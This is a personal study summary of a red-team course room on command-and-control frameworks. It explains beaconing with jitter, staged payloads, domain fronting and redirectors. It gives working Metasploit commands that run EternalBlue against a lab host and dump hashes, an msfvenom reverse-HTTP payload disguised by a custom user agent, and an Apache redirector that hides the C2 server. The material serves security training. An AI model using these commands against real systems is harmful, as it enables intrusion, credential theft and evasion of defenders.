Skip to main content

0105 | Intro to C2

Red Teaming | Intro to C2 | Summary:

This room is an introduction to the world of Command and Control (C2) frameworks, where you'll learn about the basics of C2 structures, obfuscation techniques, common C2 frameworks, setting up a C2 framework, basic operation procedures, and advanced setup concepts.


Disclaimer

This summary is NOT intended to replace the original content, but rather serve as supplementary material. It provides a quick summary or personal notes for individuals who may be struggling with the original content.

Learning Objectives

  • How a Command and Control Framework operates
  • The various components that you may use.
  • How to set up a basic Command and Control Framework
  • Use Armitage or Metasploit to gain familiarity with a Command and Control Framework
  • How to administer a Command and Control Framework
  • OPSEC Considerations while administering a Command and Control Framework

1 | Command and Control Framework Structure

Command and Control (C2) Frameworks | Overview

A Command and Control framework functions similarly to a Netcat listener but is specifically designed to manage multiple reverse shells simultaneously. While a basic solution might use tools like Netcat, C2 frameworks offer more advanced capabilities. For example, Metasploit serves as a notable example with its built-in payload generator, MSFVenom, enabling the creation and management of malicious payloads tailored for exploitation.

Beyond merely managing connections, C2 frameworks excel in "Post Exploitation," providing enhanced functionality that simplifies and automates actions post-initial compromise. This capability makes C2 frameworks superior to basic tools like Netcat, offering sophisticated features that streamline the process of exploiting compromised systems.

Command and Control Structure

The Command and Control (C2) system is a central infrastructure used by operators to manage and control compromised systems remotely.

Essential Components of a C2 Server

  • C2 Server | The central hub where agents call back. This server waits passively for commands from the operator, acting as the command center.
  • Agents/Payloads | These are specialized programs generated by the C2 framework that connect to listeners on the server. They execute tasks based on received commands and can be configured for various purposes, such as file operations or data transmission, with adjustable timing for communication.
  • Listeners | Applications running on the C2 server that accept incoming connections from agents using specific protocols like DNS, HTTP, or HTTPS, enabling the establishment of communication channels.
  • Beacons | The process by which agents send updates or data back to listeners through callbacks, providing status information or commands from the operator to the compromised system.

Obfuscating Agent Callbacks

  • Sleep Timers | Agents communicate with the C2 server at regular intervals, which can be detected by monitoring traffic patterns.
  • Jitter | Variability added to the sleep timer makes beaconing less predictable and more difficult to detect, fitting into normal network traffic.
    • example code in python
      import random
      sleep = 60
      jitter = random.randint(-30,30)
      sleep = sleep + jitter
  • Obfuscation Techniques | Beyond just adding jitter, advanced frameworks might manipulate other aspects of communication to evade detection.

Payload Types

In the context of C2 frameworks, two primary types of payloads are utilized: Stageless Payloads and Staged Payloads.

Stageless Payloads

  • These payloads contain the complete C2 agent within a single file.
  • Upon execution by the Dropper, the payload immediately initiates beaconing back to the C2 server without requiring a second stage.
  • Process
    1. Victim downloads and runs the Dropper.
    2. Beaconing begins immediately after the Dropper finishes.

Staged Payloads

Quote | Staged Payload Process
  1. The Victim downloads and executes the Dropper
  2. The Dropper calls back to the C2 Server for Stage 2
  3. The C2 Server sends Stage 2 back to the Victim Workstation
  4. Stage 2 is loaded into memory on the Victim Workstation
  5. C2 Beaconing Initializes, and the Red Teamer/Threat Actors can engage with the Victim on the C2 Server.
  • These payloads are divided into two stages: the initial Dropper and the secondary payload, known as Stage 2.
  • The Dropper contacts the C2 server to fetch and execute Stage 2 locally on the victim's machine.
  • Advantages
    • Enhances obfuscation and evasion capabilities due to reduced code complexity.
    • Requires a two-step process for full functionality.

Both payload types serve different purposes in C2 operations, with stageless being simpler yet less sophisticated and staged offering enhanced features at the cost of more complex implementation.

Payload Formats

Command and Control (C2) frameworks support various payload formats beyond traditional Windows PE files, offering diverse methods for delivering and executing malicious code.

  • PowerShell Scripts | Can contain C# code and utilize the Add-Type commandlet for execution.
  • HTA Files | HTML applications that execute scripts or code within them.
  • JScript Files | JavaScript-based files executed via specific mechanisms.
  • Visual Basic Application/Scripts | Scripts written in Visual Basic designed to run on Windows systems.
  • Microsoft Office Documents | Various file types within the Microsoft Office suite, which can be exploited for malicious purposes.

These formats provide C2 frameworks with flexible and evasive ways to deliver payloads, enhancing the range of potential attacks and improving evasion tactics.

Modules

Command and Control (C2) frameworks enhance their capabilities through the use of modules, which provide flexibility and functionality for agents and servers. These modules are often written in various scripting languages, such as Cobalt Strike's Aggressor Scripting Language, PowerShell Empire's multi-language support, and Metasploit's Ruby-based modules.

Post Exploitation Modules

  • Used to perform activities post-initial compromise, such as lateral movement using tools like SharpHound.ps1 or credential dumping via LSASS.

Pivoting Modules

Quote | SMB Pivoting Process
  1. The Victims call back to an SMB named pipe on another Victim in a non-restricted network segment.
  2. The Victim in the non-restricted network segment calls back to the C2 Server over a standard beacon.
  3. The C2 Server then sends commands back to the Victim in the non-restricted network segment.
  4. The Victim in the non-restricted network segment then forwards the C2 instructions to the hosts in the restricted segment.
  • Enable access to restricted network segments through techniques like SMB pivoting. A compromised system acts as a proxy, allowing communication from other machines in a different network segment back to the C2 server.
  • The diagram illustrates this concept with victims communicating through a non-restricted host to reach the C2 server, demonstrating how pivoting modules facilitate access to previously inaccessible networks.

These modules collectively extend the capabilities of C2 frameworks, enabling sophisticated post-exploitation activities and network access strategies.

Facing the world

In red teaming operations, two key techniques—Domain Fronting and C2 Profiles—are used to obscure the presence of malicious infrastructure by leveraging existing trusted services and proxy configurations.

Domain Fronting

Quote | Domain Fronting process
  1. The C2 Operator has a domain that proxies all requests through Cloudflare.
  2. The Victim beacons out to the C2 Domain.
  3. Cloudflare proxies the request, then looks at the Host header and relays the traffic to the correct server.
  4. The C2 Server then responds to Cloudflare with the C2 Commands.
  5. The Victim then receives the command from Cloudflare.
  • This technique involves using a known, trusted service like Cloudflare to mask the true origin of traffic.
  • Compromised devices send beaconing traffic to a domain controlled by the red teamer, which is then proxied through Cloudflare.
  • The Host header directs traffic to the correct server, making it appear as though the traffic is legitimate and coming from a trusted host.
  • This setup makes it difficult for security teams to identify suspicious activity, as the traffic appears to originate from a reputable service.

C2 Profiles

Quote | C2 Profiles Process
  1. The Victim beacons out to the C2 Server with a custom header in the HTTP request, while a SOC Analyst has a normal HTTP Request
  2. The requests are proxied through Cloudflare
  3. The C2 Server receives the request and looks for the custom header, and then evaluates how to respond based on the C2 Profile.
  4. The C2 Server responds to the client and responds to the Analyst/Compromised device.
  • These profiles enhance the functionality of proxying systems by allowing red teamers to manipulate specific elements of incoming HTTP requests.
  • Tools like NGINX Reverse Proxy, Apache Mod_Proxy/Mod_Rewrite, and Malleable HTTP C2 Profiles can extract custom headers or control responses based on configurations.
  • This technique ensures that only compromised devices receive commands, while security analysts observe only legitimate traffic from trusted services.

Both methods effectively obscure the operations of red teamers by exploiting existing infrastructure for cover, making it harder for adversaries to detect malicious activities. This blog post on Malleable C2 Profiles in tools like Cobalt Strike provides further insight into their implementation and effectiveness.

2 | Common C2 Frameworks

Free C2 Frameworks

Notes
  • open-source solutions that are freely available
  • popular due to their accessibility and community support, though they may be better understood by security teams, increasing the likelihood of detection
  • Metasploit
  • Armitage
    • a GUI for the Metasploit Framework
    • written in Java
    • similar to Cobalt Strike
  • Powershell Empire / Starkiller
  • Covenant
    • written in C#
    • primarily used for post-exploitation and lateral movement
    • highly customizable agents
  • Sliver
    • advanced, highly customizable multi-user, cli-based
    • written in go
Notes
  • These frameworks often offer advanced features that open-source tools lack. For instance, some provide pivoting capabilities or VPN functionalities.
  • May offer features such as stealthier operations and less detectability by antivirus software.
Other C2 Frameworks
  • C2 Matrix provides a comprehensive list of C2 Frameworks.

3 | Setting Up a C2 Framework

Setting Up Armitage

# downloading
git clone https://gitlab.com/kalilinux/packages/armitage.git && cd armitage

# building
bash package.sh

# verifying build | release build is in ./releases/unix/
cd ./release/unix/ && ls -la

Preparing the Environment

# starting the database
systemctl start postgresql && systemctl status postgresql

# initializing the database | you can NOT be root user when initializing the database
msfdb --use-defaults delete
msfdb --use-defaults init

Starting and Connecting to Armitage

# starting the team server
cd /opt/armitage/release/unix && ./teamserver <your-ip> <your-password>

# starting the armitage client and connecting to the team server
cd /opt/armitage/release/unix && ./armitage
Quote | Managing Access

When operating a C2 Framework, you never want to expose the management interface publicly; You should always listen on a local interface, never a public-facing one. This complicates access for fellow operators.

Fortunately, there is an easy solution for this. For operators to gain access to the server, you should create a new user account for them and enable SSH access on the server, and they will be able to SSH port forward TCP/55553.

Armitage explicitly denies users listening on 127.0.0.1; this is because it is essentially a shared Metasploit server with a "Deconfliction Server" that when multiple users are connecting to the server, you're not seeing everything that your other users are seeing. With Armitage, you must listen on your tun0/eth0 IP Address.

4 | Command, Control, and Conquer

Running Armitage on my own kali box

  • Info about the AttackBox

    • Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64 GNU/Linux
  • Installing Armitage

    sudo apt install armitage
  • Preparing the Environment | Postgresql

    # starting the database
    sudo systemctl start postgresql.service
    # verifying it runs corretly
    systemctl status postgresql.service
  • Preparing the Environment | MsfDB

    # delete previous configuration
    sudo msfdb delete
    # intialize the db
    sudo msfdb init
  • Starting the TeamServer

    sudo teamserver 127.0.0.1 Super1Secret2Password3
  • Connecting to the TeamServer with the Armitage Client

    armitage
    # Host:127.0.0.1 | Port:55554 | User:msf | Pass:Super1Secret2Password3
  • Connecting to the THM Network via VPN (OpenVPN)

    sudo openvpn <your-vpn-config>.ovpn
  • Verify network connection to the Target

    ping <target-ip>
  • Setting LHOST

    • "Armitage" > "Listeners" > "Set LHOST..." > Set it to the IP of your attack box
    # if connected via openvpn and only the one default network interface on your box
    ip a | grep inet | grep tun0
  • Start a Listener | Meterpreter | Port 5678

    • "Armitage" > "Listeners" > "Reverse (wait for)" > Port:5678 and Type:meterpreter > "Start Listener"
  • Adding / Scanning the Target

    • "Hosts" > "Nmap Scan" > "Quick Scan (OS detect)" > Enter scan range:<your-target-machine-ip>/32
  • Selecting the exploit

    • "exploit/windows/smb/ms17_010_eternalblue" and drag it over our target
    • Change Settings | LPORT:5678
    • run it

Doing it directly with metasploit (cli)

  • Connecting to the THM network
    sudo openvpn <your-vpn-config>.ovpn
  • Verify network connection to the target
    ping -c 3 <your-target-ip>
  • Running and configuring MetaSploit
    msfconsole -q
    use exploit/windows/smb/ms17_010_eternalblue
    # check current exploit config and configure it to fit your needs
    set rhost <your-target-ip>
    set lhost <your-own-ip>
    set lport 5678
    run
  • Grab the relevant info to answer the questions
    # answers to questions 1 and 4
    hashdumps
    # answer to question 2
    cat c:/users/administrator/desktop/root.txt
    # answer to question 3
    cat c:/users/ted/desktop/user.txt

5 | Advanced C2 Setups

  • Metasploit as C2 server is limited --> lack of flexibility for advanced operations

Command and Control Redirectors

Quote | Redirector

"a server that "Redirects" HTTP/HTTPS requests based on information within the HTTP Request body"

Redirector

  • servers that redirect HTTP/HTTPS traffic based on request body information
  • often using Apache or NGINX
  • can be used to hide the true C2 server's identity, making it harder for defenders to locate and shut it down
  • it is very important to secure the communication between the Redirector and the actual C2 server by establishing a firewall to control traffic flow Considerations
  • directly exposing C2 (Command-and-Control) servers is a vulnerability --> can be quickly identified and taken down by third parties
  • to mitigate this risk --> a Redirector can be used to obscure the true location of the C2 server
  • by setting up multiple Redirectors across various hosts, it becomes more difficult for defenders to locate and shut down the actual C2 server

Redirector Setup

  • idea | alter the User-Agent string to avoid detection when connecting back to the redirector, filter by it, and forward it to our C2
  • leverage Apache's Rewrite module ("mod_rewrite") to write rules that forward requests based on specific HTTP headers and content
  • required Apache modules | "rewrite" | "proxy" | "proxy_http" | "headers"

Apache install and configuration

# install
apt install apache2
# enabling the modules
a2enmod rewrite && a2enmod proxy && a2enmod proxy_http && a2enmod headers
# start the apache service
systemctl start apache2
# verify the apache service has started properly
systemctl status apache2

Generating a Reverse HTTP payload with customized User Agent using MSFvenom

msfvenom -p windows/meterpreter/reverse_http LHOST=tun0 LPORT=80 HttpUserAgent=NotMeterpreter -f exe -o shell.exe

Create the Apache2 mod_rewrite rule to filter for our custom User Agent and forward it to our C2 server

# grep -v | invert match | select non matching lines | everything that is not commented out
cat /etc/apache2/sites-available/000-default.conf | grep -v '#'
  • Enabling the Rewrite Engine | RewriteEngine On (in the VirtualHost section)
  • Filter for our custom User Agent with regex | RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
  • Forward the request through Apache2, through our proxy, to our C2 | ProxyPass "/" "http://localhost:8080/"
    • base URI that the request will be forwarded to | "/"
    • target to forward the request to | IP address of our C2 server | "http://localhost:8080/"
  • Modified Config File
    <VirtualHost *:80>

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
    ProxyPass "/" "http://localhost:8080/"

    <Directory>
    AllowOverride All
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    </VirtualHost>

Setting Up the Exploit/Multi/Handler

Quote | Reminder

"in engagements, you will want to use multiple hosts and DNS records instead of IP Addresses."

msfconsole

# select exploit and modify the payload
use exploit/multi/handler
set payload windows/meterpreter/reverse_http

# Your Public IP address that the Redirector will be connecting to
set LHOST 127.0.0.1
set LPORT 8080

# Your Public IP address that the Redirector will be connecting to
set ReverseListenerBindAddress 127.0.0.1
set ReverseListenerBindPort 8080

# The Redirectors IP Address and Domain Name
set OverrideLHOST 192.168.0.44
# The Port that the HTTP/HTTPS is running on on the Redirector
set OverrideLPORT 80

# customize the User Agent Header
set HttpUserAgent NotMeterpreter

# Meterpreter will respond with the OverrideHost information -> all queries go through the Redirector and NOT the C2 server
set OverrideRequestHost true

run

6 | Wrapping Up

When selecting a C2 framework for Red Team operations, consider the following key factors:

  • Goals | Define the primary objectives of your operation.
  • Budget | Assess financial constraints and available resources.
  • Customization Needs | Determine if high levels of customization are required.
  • Anti-Virus Evasion | Evaluate how well the framework avoids detection by antivirus software.
  • Scripting Capabilities | Identify if creating custom modules or scripts is necessary.
  • Reporting Features | Assess whether built-in reporting is essential for your operations.

Using the C2 Matrix spreadsheet can help narrow down options based on these criteria. If a Premium framework meets your needs, it's recommended to request an evaluation or trial to ensure it aligns with your requirements.